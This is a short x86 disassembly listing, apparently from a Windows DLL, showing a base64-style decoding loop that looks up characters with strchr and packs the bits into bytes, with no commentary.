call dword [sym.imp.VCRUNTIME140.dll_strchr]
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 0x58]
sub al, cl
add esp, 0x20
mov dword [ebp - 0x14], eax
mov cl, dl
mov eax, dword [ebp - 0x10]
shr cl, 4
shl al, 2
or cl, al
mov byte [ebp + esi - 8], cl
test edi, edi
jne 0x100012f3
mov al, bl
shl dl, 4
shr al, 2
or al, dl
mov byte [ebp + esi - 7], al
test esi, esi
jne 0x10001300
shl bl, 6
or bl, byte [ebp - 0x14]
mov byte [ebp - 6], bl
mov ecx, dword [ebp - 0x18]
add edi, 4
add esi, 3
cmp edi, 6
jb 0x100011f0
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret